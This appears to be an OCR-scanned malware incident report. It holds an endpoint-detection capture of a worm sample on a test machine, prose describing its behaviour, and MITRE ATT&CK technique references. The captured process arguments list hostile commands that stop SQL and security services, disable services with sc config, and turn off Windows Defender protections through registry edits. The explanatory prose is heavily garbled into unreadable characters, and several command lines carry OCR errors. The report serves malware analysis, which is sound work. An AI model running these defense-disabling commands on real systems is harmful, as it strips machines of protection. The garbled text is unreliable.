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Number of Incidents Machine Name Program Path Program Arguments

v o1 WCC-NOAH-TEST CA\Users\Administrator\Desktop\32 1d0c4f1bbb44c53cd02186107a18b7a...
Created Response Name Untrusted Remote Threads Modified Memory No Trusted Cert
October 18, 2022 at 1:51:54 PM EDT ﬂ . ) I’_;’ Worm Geum Indigo 180 False False True

seJdool 1o ous ledle lue eds 1oEe po 1o 1Jpdws "321d0..." psdé: 1l loe JI sild Es poisd. swpl
loo Jl wszr wdusle wewse pedrs s luvotrpe Jouv, [dotse: Slool e, wldyewb po lso
tls!

JJelds po bysds lJeoowss spdool 1Jols, Bs gpdsle loguls 1Jgedsle (process creations) ¢oJ
sdw ldhbhws. pl ylo s5I> ioo Jde «Ju ould b,s@s lgwegdld pedrs: odl tows vue wupts (script)!
Jel o 1zl pe 1Jesole 1JlE s Blo gpdsle loguls 1Ugpdsle 1Jw,ess (child processes) pw.s,s
Jdlowple LEp 3JI. Brws pe Jso bosds wuwds o, ptss lJtwsws oyl slyats: wivgd
IJesss eo ldgedsle vs 1Jedsss IJos webd Izelss sledble lJoble 1JlEs.



Child Path

CAWindows\System32\net.exe

CAWindows\System32\net1.exe

CAWindows\System32\net.exe

CAWindows\System32\net1.exe

CAWindows\System32\net.exe

CAWindows\System32\net1.exe

CAWindows\System32\net.exe

CAWindows\System32\net1.exe

CAWindows\System32\net.exe

CAWindows\System32\net1.exe

CAWindows\System32\net.exe

CAWindows\System32\net1.exe

CAWindows\System32\net.exe

CAWindows\System32\net1.exe

CAWindows\System32\net.exe

CAWindows\System32\net1.exe

CAWindows\System32\net.exe

CAWindows\System32\net1.exe

CAWindows\System32\net.exe

CAWindows\System32\net1.exe

Child Arguments

net.exe stop "LanmanWorkstation” /y
CW\Windows\system32\net1 stop "LanmanWorkstation” fy
net.exe stop "MsDtsServer130" fy

CA\Windows\system32\net1 stop "MsDisServer130” fy

net.exe stop "MS5QLSMSSQLSERVERO1" fy
Ch\Windows\system32\net1 stop "MSSQLSMSSQLSERVERD1" fy
net.exe stop "MSSQLSERVER" fy

CAWindows\system32\net1 stop "MSSQLSERVER" fy

net.exe stop "sacsvr” fy

Ch\Windows\system32\net1 stop "sacsvr” fy

net.exe stop "SamSs" fy

CA\Windows\system32\net1 stop "SamSs" fy

net.exe stop "SQLAgentSMSSQLSERVERDT" fy
Ch\Windows\system32\net1 stop "SQLAgentSMSSQLSERVEROT" fy
net.exe stop "SQLBrowser" fy

CAWindows\system32\net1 stop "SQLBrowser" fy

net.exe stop "SQLSERVERAGENT" fy

Ch\Windowshsystem32\net1 stop "SQLSERVERAGENT" fy

net.exe stop "SQLTELEMETRYSMSSQLSERVERD 1" fy

CA\Windows\system32\net1 stop "SQLTELEMETRYSMSSQLSERVERO 1" fy



Child Path

C\Windows\System32\sc.exe

C\Windows\System32\sc.exe

C\Windows\System32\sc.exe

C\Windows\System32\sc.exe

C\Windows\System32\sc.exe

C:\Windows\System32\sc.exe

Ch\Windows\System32\reg.exe

C\Windows\System32\reg.exe

Ch\Windows\System32\reg.exe

C\Windows\System32\reg.exe

C\Windows\System32\reg.exe

C\Windows\System32\reg.exe

C:\Windows\System32\reg.exe

C\Windows\System32\reg.exe

C\Windows\System32\reg.exe

C\Windows\System32\reg.exe

Child Arguments

sc.exe config

sc.exe config

sc.exe config

sc.exe config

sc.exe config

sc.exe config

reg.exe add "

"SQLWriter" start= disabled

"SstpSvc” start= disabled

"vmicvss" start= disabled

"\55" start= disabled

"WRSVC" start= disabled

"UnistoreSve_1a55fcc” start= disabled

HELM\System\CurrentControlSet\Services\SecurityHealthService" /v "Start" /t REG_DWORD /d "4" /f

reg.exe delete "HKLM\Software\Policies\Microsoft\Windows Defender" /f

reg.exe add "

reg.exe add

reg.exe add

reg.exe add

reg.exe add

reg.exe add

reg.exe add

reg.exe add

HELM\Software\Policies\Microsoft\Windows Defender” /v "DisablefintiSpyware” /t REG_DWORD /d "1" /f

"HELM\Software\Policies\Microsoft\Windows Defender" fv "DisableAntiVirus" /t REG_DWORD /jd "1" f

"HKLM\SoftwareyPolicies\Microsoft\Windows Defender\MpEngine" /v "MpEnablePus” /t REG_DWORD /d "0" /f

"HKLM\SoftwarelPolicies\Microsoft\Windows Defender\Real-Time Protection” /v "DisableBehaviorMonitoring” /...

"HKLM\SoftwarelPolicies\Microsoft\Windows Defender\Real-Time Protection” /v "DisablelOAVProtection” /t RE...

"HELM\Software\Policies\Microsoft\Windows Defender\Real-Time Protection” /v "DisableOnAccessProtection” /...

"HELM\Software\Policies\Microsoft\Windows Defender\Real-Time Protection” /v "DisableRealtimeMonitoring” /...

"HELM\Software\Policies\Microsoft\Windows Defender\Real-Time Protection” /v "DisableScanOnRealtimeEnable...
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e Mitre T1566 - spdo lowetsle Ieoess Ilzeslds (Phishing) Jesle [Jeowetse Jbls lels pl
Jo Jsdse wo Jodl 3J: ped wuntsd 0ve wopts ls punlbds JJes o9

o Mitre T1091 - 3> wouwt lJwptss lJtosws vyl eds suwlsl dlods JJUls wrsw
QPJJL') JJCDU |JCJ|J(___S |J.')§ §uqu wol QUJ§50| vy |Juuu&_§J UoJJL‘sQ (autorun) i_g
wile o ler |Jogugsd (driver).

e Mitre T1204 - w08 lJpuwewtse: 1Jds Eldol el swe ldzuesd edse ) |Joua§§
lUlzeslds: os lognb bysds wonl wol I, prsle lJewses woddssol.

e Mitre T1587-002 - jwoble wedse lduvsds o ptssd os suvsds Jzod pesus JJouersd

eds Uvsadb i(_.) lJobosdle. @ oduns ldo,ptsle lJtosws guols Jl wyes) 0 L_s Tob
lueol, gwobsles (certificate authority) JJdoel @5 wiwd lJppwetse Bsbo loel vess.

e Mitre T1587-003 - wiweisp guobsle SSL Juselo 1o 0dd lJwslole pstsd. B wsis

ovesése [Jlgslh @ wwpdo ldoerss IJtosws po waose guolss SSL ¢l es wol
Jogwosd ogpele lJgywsl (man in the middle).


https://attack.mitre.org/techniques/T1566
https://attack.mitre.org/techniques/T1091
https://attack.mitre.org/techniques/T1204
https://attack.mitre.org/techniques/T1587/002
https://attack.mitre.org/techniques/T1587/003
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